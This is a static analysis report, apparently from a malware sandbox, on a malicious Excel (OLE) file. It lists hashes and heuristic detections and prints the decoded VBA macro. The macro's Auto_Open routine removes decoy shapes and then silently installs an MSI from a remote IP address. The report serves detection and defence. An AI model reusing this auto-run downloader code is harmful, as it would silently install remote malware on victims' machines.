Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a0b7eabed4bafda…

MALICIOUS

Office (OLE)

84.5 KB Created: 2016-11-14 18:50:19 First seen: 2021-04-25
MD5: 8c43d10f3e5d0015e264c68e8d709b4d SHA-1: 54d215a3bdef5fdf8341b57a90a1f6d95a4f2a9a SHA-256: 5a0b7eabed4bafda0c9d8bb58d10e712cbb9126d11fefc5f7154a6bf16d04776
70 Risk Score

Heuristics 4

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set a = CreateObject("WindowsInstaller.Installer")
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://45.61.137.63/setup.msi In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1417 bytes
SHA-256: bac2aa2a566bd90a8f32148d73a5a5c4cfcdfd2fb65a20c58248ee826e6b8206
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()
    On Error Resume Next
    Sheets("Sheet1").Unprotect "123"
    Sheets("Sheet1").Shapes("Picture 3").Delete
    Sheets("Sheet1").Shapes("Rectangle 1").Delete
    
    Sheets("Tabelle1").Unprotect "123"
    Sheets("Tabelle1").Shapes("Picture 3").Delete
    Sheets("Tabelle1").Shapes("Rectangle 2").Delete
    
    Set a = CreateObject("WindowsInstaller.Installer")
    a.UILevel = 2
    a.InstallProduct "http://45.61.137.63/setup.msi"
End Sub



Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.